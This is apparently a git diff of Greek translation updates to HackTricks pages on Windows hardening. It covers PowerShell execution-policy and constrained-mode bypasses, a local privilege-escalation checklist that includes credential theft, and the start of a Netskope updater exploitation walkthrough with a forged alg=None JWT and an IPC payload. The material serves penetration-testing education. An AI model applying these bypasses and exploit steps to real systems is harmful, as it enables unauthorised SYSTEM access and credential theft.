You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **execute Powershell** code σε οποιαδήποτε διεργασία και να παρακάμψετε το constrained mode. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
|
||||||
|
|
||||||
## PS Execution Policy
|
## PS Execution Policy
|
||||||
|
|
||||||
Κατά προεπιλογή είναι ρυθμισμένο σε **restricted.** Κύριοι τρόποι για να bypass αυτή την πολιτική:
|
Από προεπιλογή είναι ρυθμισμένη σε **restricted.** Κύριοι τρόποι για να παρακάμψετε αυτήν την πολιτική:
|
||||||
```bash
|
```bash
|
||||||
1º Just copy and paste inside the interactive PS console
|
1º Just copy and paste inside the interactive PS console
|
||||||
2º Read en Exec
|
2º Read en Exec
|
||||||
@ -253,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
|||||||
9º Use EncodeCommand
|
9º Use EncodeCommand
|
||||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||||
```
|
```
|
||||||
Περισσότερα μπορείτε να βρείτε [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
Περισσότερα μπορείτε να βρείτε [εδώ](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||||
|
|
||||||
## Διεπαφή παρόχου υπηρεσιών ασφαλείας (SSPI)
|
## Security Support Provider Interface (SSPI)
|
||||||
|
|
||||||
Είναι το API που μπορεί να χρησιμοποιηθεί για την πιστοποίηση χρηστών.
|
Είναι το API που μπορεί να χρησιμοποιηθεί για την πιστοποίηση χρηστών.
|
||||||
|
|
||||||
Το SSPI αναλαμβάνει να βρει το κατάλληλο πρωτόκολλο για δύο μηχανήματα που θέλουν να επικοινωνήσουν. Η προτιμώμενη μέθοδος για αυτό είναι το Kerberos. Στη συνέχεια το SSPI θα διαπραγματευτεί ποιο πρωτόκολλο αυθεντικοποίησης θα χρησιμοποιηθεί — αυτά τα πρωτόκολλα ονομάζονται Security Support Provider (SSP), υπάρχουν σε κάθε σύστημα Windows με τη μορφή DLL και και τα δύο μηχανήματα πρέπει να υποστηρίζουν το ίδιο για να μπορούν να επικοινωνήσουν.
|
Το SSPI είναι υπεύθυνο για την εύρεση του κατάλληλου πρωτοκόλλου για δύο μηχανήματα που θέλουν να επικοινωνήσουν. Η προτιμώμενη μέθοδος για αυτό είναι Kerberos. Στη συνέχεια το SSPI θα διαπραγματευτεί ποιο πρωτόκολλο πιστοποίησης θα χρησιμοποιηθεί — αυτά τα πρωτόκολλα πιστοποίησης ονομάζονται Security Support Provider (SSP), βρίσκονται σε κάθε μηχάνημα Windows με τη μορφή DLL και και οι δύο μηχανές πρέπει να υποστηρίζουν το ίδιο για να μπορούν να επικοινωνήσουν.
|
||||||
|
|
||||||
### Κύρια SSPs
|
### Κύρια SSPs
|
||||||
|
|
||||||
- **Kerberos**: Το προτιμώμενο
|
- **Kerberos**: Το προτιμώμενο
|
||||||
- %windir%\Windows\System32\kerberos.dll
|
- %windir%\Windows\System32\kerberos.dll
|
||||||
- **NTLMv1** and **NTLMv2**: Για λόγους συμβατότητας
|
- **NTLMv1** and **NTLMv2**: για λόγους συμβατότητας
|
||||||
- %windir%\Windows\System32\msv1_0.dll
|
- %windir%\Windows\System32\msv1_0.dll
|
||||||
- **Digest**: Διακομιστές web και LDAP, ο κωδικός σε μορφή MD5 hash
|
- **Digest**: Web servers και LDAP, ο κωδικός σε μορφή MD5 hash
|
||||||
- %windir%\Windows\System32\Wdigest.dll
|
- %windir%\Windows\System32\Wdigest.dll
|
||||||
- **Schannel**: SSL και TLS
|
- **Schannel**: SSL και TLS
|
||||||
- %windir%\Windows\System32\Schannel.dll
|
- %windir%\Windows\System32\Schannel.dll
|
||||||
- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί ποιο πρωτόκολλο θα χρησιμοποιηθεί (Kerberos ή NTLM, με προεπιλογή το Kerberos)
|
- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί ποιο πρωτόκολλο θα χρησιμοποιηθεί (Kerberos ή NTLM, με το Kerberos ως προεπιλογή)
|
||||||
- %windir%\Windows\System32\lsasrv.dll
|
- %windir%\Windows\System32\lsasrv.dll
|
||||||
|
|
||||||
#### Η διαπραγμάτευση μπορεί να προσφέρει πολλαπλές μεθόδους ή μόνο μία.
|
#### Η διαπραγμάτευση μπορεί να προσφέρει πολλαπλές μεθόδους ή μόνο μία.
|
||||||
|
|
||||||
## UAC - User Account Control
|
## UAC - User Account Control
|
||||||
|
|
||||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια λειτουργία που εμφανίζει μια **προτροπή συγκατάθεσης για ενέργειες με αυξημένα δικαιώματα**.
|
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια λειτουργία που ενεργοποιεί μια **προτροπή συγκατάθεσης για ενέργειες με αυξημένα προνόμια**.
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
|
@ -1,18 +1,18 @@
|
|||||||
# Checklist - Local Windows Privilege Esccalation
|
# Λίστα ελέγχου - Local Windows Privilege Escalation
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
### **Καλύτερο εργαλείο για την αναζήτηση Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
### **Καλύτερο εργαλείο για να εντοπίσετε Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||||
|
|
||||||
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
### [System Info](windows-local-privilege-escalation/index.html#system-info)
|
||||||
|
|
||||||
- [ ] Λάβετε [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
- [ ] Αποκτήστε [**System information**](windows-local-privilege-escalation/index.html#system-info)
|
||||||
- [ ] Αναζητήστε **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
- [ ] Αναζητήστε **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||||
- [ ] Χρησιμοποιήστε **Google to search** για kernel **exploits**
|
- [ ] Χρησιμοποιήστε το Google για να αναζητήσετε kernel **exploits**
|
||||||
- [ ] Χρησιμοποιήστε **searchsploit to search** για kernel **exploits**
|
- [ ] Χρησιμοποιήστε το searchsploit για να αναζητήσετε kernel **exploits**
|
||||||
- [ ] Ενδιαφέροντα στοιχεία στα [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
- [ ] Ενδιαφέροντα στοιχεία σε [**env vars**](windows-local-privilege-escalation/index.html#environment)?
|
||||||
- [ ] Κωδικοί στο [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
- [ ] Κωδικοί πρόσβασης στο [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||||
- [ ] Ενδιαφέροντα στοιχεία στις [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
- [ ] Ενδιαφέροντα στοιχεία σε [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||||
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
|
||||||
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
|
||||||
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||||
@ -20,19 +20,19 @@
|
|||||||
|
|
||||||
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
|
||||||
|
|
||||||
- [ ] Ελέγξτε τις ρυθμίσεις [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)και [**WEF** ](windows-local-privilege-escalation/index.html#wef)
|
- [ ] Ελέγξτε τις [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) και [**WEF** ](windows-local-privilege-escalation/index.html#wef) ρυθμίσεις
|
||||||
- [ ] Ελέγξτε [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
- [ ] Ελέγξτε [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||||
- [ ] Ελέγξτε αν [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)είναι ενεργό
|
- [ ] Ελέγξτε εάν το [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) είναι ενεργό
|
||||||
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||||
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||||
- [ ] Ελέγξτε αν υπάρχει κάποιο [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
- [ ] Ελέγξτε αν υπάρχει οποιοδήποτε [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||||
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||||
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||||
- [ ] Ελέγξτε τα [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
- [ ] Ελέγξτε τα [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||||
- [ ] Είστε [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
- [ ] Είστε [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||||
- [ ] Ελέγξτε αν έχετε [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
- [ ] Ελέγξτε αν έχετε κάποιο από αυτά τα [**tokens enabled**](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||||
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||||
- [ ] Ελέγξτε [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (πρόσβαση?)
|
- [ ] Ελέγξτε [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (πρόσβαση?)
|
||||||
- [ ] Ελέγξτε την [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
- [ ] Ελέγξτε την [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
|
||||||
@ -40,49 +40,49 @@
|
|||||||
|
|
||||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||||
|
|
||||||
- [ ] Ελέγξτε τις **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
|
- [ ] Ελέγξτε **current** [**network** **information**](windows-local-privilege-escalation/index.html#network)
|
||||||
- [ ] Ελέγξτε **hidden local services** περιορισμένες προς το εξωτερικό
|
- [ ] Ελέγξτε κρυφές τοπικές υπηρεσίες που περιορίζονται στο εξωτερικό
|
||||||
|
|
||||||
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
|
||||||
|
|
||||||
- [ ] Δικαιώματα αρχείων των binaries των processes [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
- [ ] Δικαιώματα προσπέλασης αρχείων και φακέλων σε binaries διεργασιών [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||||
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||||
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||||
- [ ] Κλέψτε διαπιστευτήρια με **ενδιαφέρουσες διεργασίες** μέσω `ProcDump.exe` ? (firefox, chrome, etc ...)
|
- [ ] Κλέψτε credentials από **interesting processes** με `ProcDump.exe` ? (firefox, chrome, etc ...)
|
||||||
|
|
||||||
### [Services](windows-local-privilege-escalation/index.html#services)
|
### [Services](windows-local-privilege-escalation/index.html#services)
|
||||||
|
|
||||||
- [ ] Μπορείτε να **modify any service**? (μπορείτε να τροποποιήσετε κάποια υπηρεσία;)
|
- [ ] Μπορείτε να **modify any service**? (τροποποιήσετε κάποια υπηρεσία) (permissions)
|
||||||
- [ ] Μπορείτε να **modify** το **binary** που **εκτελείται** από κάποια **service**? (modify the binary path)
|
- [ ] Μπορείτε να **modify** το **binary** που **executed** από κάποια **service**?
|
||||||
- [ ] Μπορείτε να **modify** το **registry** κάποιας **service**? (services-registry-modify-permissions)
|
- [ ] Μπορείτε να **modify** το **registry** κάποιας **service**?
|
||||||
- [ ] Μπορείτε να εκμεταλλευτείτε κάποιο **unquoted service** binary **path**?
|
- [ ] Μπορείτε να εκμεταλλευτείτε κάποιο **unquoted service** binary **path**?
|
||||||
|
|
||||||
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
|
||||||
|
|
||||||
- [ ] **Εγγραφή** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
- [ ] **Write** δικαιώματα σε [**installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||||
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||||
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
|
||||||
|
|
||||||
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||||
|
|
||||||
- [ ] Μπορείτε να **write in any folder inside PATH**?
|
- [ ] Μπορείτε να **write in any folder inside PATH**?
|
||||||
- [ ] Υπάρχει κάποιο γνωστό service binary που **tries to load any non-existant DLL**?
|
- [ ] Υπάρχει κάποια γνωστή service binary που **tries to load any non-existant DLL**?
|
||||||
- [ ] Μπορείτε να **write** σε κάποιο **binaries folder**?
|
- [ ] Μπορείτε να **write** σε κάποιο **binaries folder**?
|
||||||
|
|
||||||
### [Network](windows-local-privilege-escalation/index.html#network)
|
### [Network](windows-local-privilege-escalation/index.html#network)
|
||||||
|
|
||||||
- [ ] Απογράψτε το δίκτυο (shares, interfaces, routes, neighbours, ...)
|
- [ ] Απογράψτε το δίκτυο (shares, interfaces, routes, neighbours, ...)
|
||||||
- [ ] Δώστε ιδιαίτερη προσοχή σε network services που ακούνε στο localhost (127.0.0.1)
|
- [ ] Δώστε ιδιαίτερη προσοχή σε δίκτυα υπηρεσιών που ακούνε στο localhost (127.0.0.1)
|
||||||
|
|
||||||
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||||
|
|
||||||
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
|
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials
|
||||||
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials που θα μπορούσατε να χρησιμοποιήσετε?
|
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials που μπορείτε να χρησιμοποιήσετε?
|
||||||
- [ ] Ενδιαφέροντα [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
- [ ] Ενδιαφέροντα [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||||
- [ ] Κωδικοί αποθηκευμένων [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
- [ ] Κωδικοί πρόσβασης αποθηκευμένων [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
|
||||||
- [ ] Ενδιαφέροντα στοιχεία σε [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
- [ ] Ενδιαφέροντα στοιχεία σε [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||||
- [ ] Κωδικοί σε [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
- [ ] Κωδικοί σε [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||||
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) κωδικοί?
|
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) passwords?
|
||||||
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
|
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials?
|
||||||
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
|
||||||
|
|
||||||
@ -91,11 +91,11 @@
|
|||||||
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||||
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||||
- [ ] Κωδικοί σε [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
- [ ] Κωδικοί σε [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||||
- [ ] Κάποιο backup των [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
- [ ] Υπάρχει κάποιο αντίγραφο ασφαλείας [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||||
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||||
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) αρχείο?
|
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) αρχείο?
|
||||||
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||||
- [ ] Κωδικός στο [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
- [ ] Κωδικός σε [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||||
- [ ] Ενδιαφέροντα στοιχεία σε [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
- [ ] Ενδιαφέροντα στοιχεία σε [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
|
||||||
- [ ] Θέλετε να [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) από τον χρήστη;
|
- [ ] Θέλετε να [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) από τον χρήστη;
|
||||||
- [ ] Ενδιαφέροντα [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
- [ ] Ενδιαφέροντα [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||||
@ -106,7 +106,7 @@
|
|||||||
|
|
||||||
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||||
|
|
||||||
- [ ] Έχετε πρόσβαση σε κάποιο handler διαδικασίας που τρέχει από administrator?
|
- [ ] Έχετε πρόσβαση σε κάποιο handler διεργασίας που τρέχει ως administrator;
|
||||||
|
|
||||||
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||||
|
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -1,28 +1,28 @@
|
|||||||
# Κατάχρηση Enterprise Auto-Updaters και Privileged IPC (e.g., Netskope stAgentSvc)
|
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
Αυτή η σελίδα γενικεύει μια κλάση Windows local privilege escalation chains που βρέθηκαν σε enterprise endpoint agents και updaters που εκθέτουν μια low‑friction IPC surface και μια privileged update flow. Ένα αντιπροσωπευτικό παράδειγμα είναι Netskope Client for Windows < R129 (CVE-2025-0309), όπου ένας χρήστης με χαμηλά προνόμια μπορεί να εξαναγκάσει enrollment σε έναν attacker‑controlled server και στη συνέχεια να παραδώσει ένα κακόβουλο MSI που εγκαθιστά η υπηρεσία SYSTEM.
|
Αυτή η σελίδα γενικεύει μια κατηγορία Windows local privilege escalation αλυσίδων που βρέθηκαν σε enterprise endpoint agents και updaters οι οποίοι εκθέτουν μια χαμηλού τριβής IPC επιφάνεια και μια privileged update ροή. Ένα αντιπροσωπευτικό παράδειγμα είναι ο Netskope Client for Windows < R129 (CVE-2025-0309), όπου ένας χρήστης με χαμηλά δικαιώματα μπορεί να αναγκάσει enrollment σε έναν attacker‑controlled server και έπειτα να παραδώσει ένα malicious MSI που η SYSTEM υπηρεσία εγκαθιστά.
|
||||||
|
|
||||||
Key ideas you can reuse against similar products:
|
Κύριες ιδέες που μπορείτε να επαναχρησιμοποιήσετε ενάντια σε παρόμοια προϊόντα:
|
||||||
- Abuse a privileged service’s localhost IPC to force re‑enrollment or reconfiguration to an attacker server.
|
- Κατάχρηση της privileged υπηρεσίας μέσω localhost IPC για να επιβληθεί ξανά re‑enrollment ή reconfiguration σε έναν attacker server.
|
||||||
- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
|
- Υλοποίηση των update endpoints του vendor, παράδοση ενός rogue Trusted Root CA, και δρομολόγηση του updater σε ένα malicious, “signed” πακέτο.
|
||||||
- Evade weak signer checks (CN allow‑lists), optional digest flags, and lax MSI properties.
|
- Παράκαμψη αδύναμων ελέγχων signer (CN allow‑lists), προαιρετικών digest flags, και lax MSI properties.
|
||||||
- If IPC is “encrypted”, derive the key/IV from world‑readable machine identifiers stored in the registry.
|
- Αν το IPC είναι “encrypted”, παράγωγη του key/IV από world‑readable machine identifiers που αποθηκεύονται στο registry.
|
||||||
- If the service restricts callers by image path/process name, inject into an allow‑listed process or spawn one suspended and bootstrap your DLL via a minimal thread‑context patch.
|
- Αν η υπηρεσία περιορίζει τους καλούντες με βάση image path/process name, injekt σε ένα allow‑listed process ή spawn ένα suspended και bootstrap το DLL σας μέσω ενός minimal thread‑context patch.
|
||||||
|
|
||||||
---
|
---
|
||||||
## 1) Forcing enrollment to an attacker server via localhost IPC
|
## 1) Forcing enrollment to an attacker server via localhost IPC
|
||||||
|
|
||||||
Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
|
Πολλές agents περιλαμβάνουν μια user‑mode UI διεργασία που συνομιλεί με μια SYSTEM υπηρεσία μέσω localhost TCP χρησιμοποιώντας JSON.
|
||||||
|
|
||||||
Observed in Netskope:
|
Παρατηρήθηκε σε Netskope:
|
||||||
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
|
||||||
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
|
||||||
|
|
||||||
Exploit flow:
|
Exploit flow:
|
||||||
1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
|
1) Συνθέστε ένα JWT enrollment token των οποίων τα claims ελέγχουν τον backend host (π.χ., AddonUrl). Χρησιμοποιήστε alg=None ώστε να μην απαιτείται signature.
|
||||||
2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
|
2) Στείλτε το IPC μήνυμα που καλεί την provisioning εντολή με το JWT σας και το tenant name:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"148": {
|
"148": {
|
||||||
@ -31,17 +31,17 @@ Exploit flow:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
3) Η υπηρεσία αρχίζει να επικοινωνεί με τον rogue server σας για enrollment/config, π.χ.:
|
3) Η υπηρεσία αρχίζει να κάνει αιτήσεις στον rogue server σας για enrollment/config, π.χ.:
|
||||||
- /v1/externalhost?service=enrollment
|
- /v1/externalhost?service=enrollment
|
||||||
- /config/user/getbrandingbyemail
|
- /config/user/getbrandingbyemail
|
||||||
|
|
||||||
Σημειώσεις:
|
Notes:
|
||||||
- Εάν η caller verification είναι path/name‑based, προετοιμάστε το αίτημα ώστε να προέρχεται από ένα allow‑listed vendor binary (βλ. §4).
|
- If caller verification is path/name‑based, originate the request from a allow‑listed vendor binary (see §4).
|
||||||
|
|
||||||
---
|
---
|
||||||
## 2) Hijacking the update channel to run code as SYSTEM
|
## 2) Κατάληψη του καναλιού ενημέρωσης για εκτέλεση κώδικα ως SYSTEM
|
||||||
|
|
||||||
Μόλις ο client επικοινωνήσει με τον server σας, υλοποιήστε τα αναμενόμενα endpoints και κατευθύνετέ το σε ένα attacker MSI. Τυπική ακολουθία:
|
Μόλις ο client επικοινωνήσει με τον server σας, υλοποιήστε τα αναμενόμενα endpoints και κατευθύνετέ τον σε έναν attacker MSI. Τυπική ακολουθία:
|
||||||
|
|
||||||
1) /v2/config/org/clientconfig → Επιστρέψτε JSON config με πολύ μικρό updater interval, π.χ.:
|
1) /v2/config/org/clientconfig → Επιστρέψτε JSON config με πολύ μικρό updater interval, π.χ.:
|
||||||
```json
|
```json
|
||||||
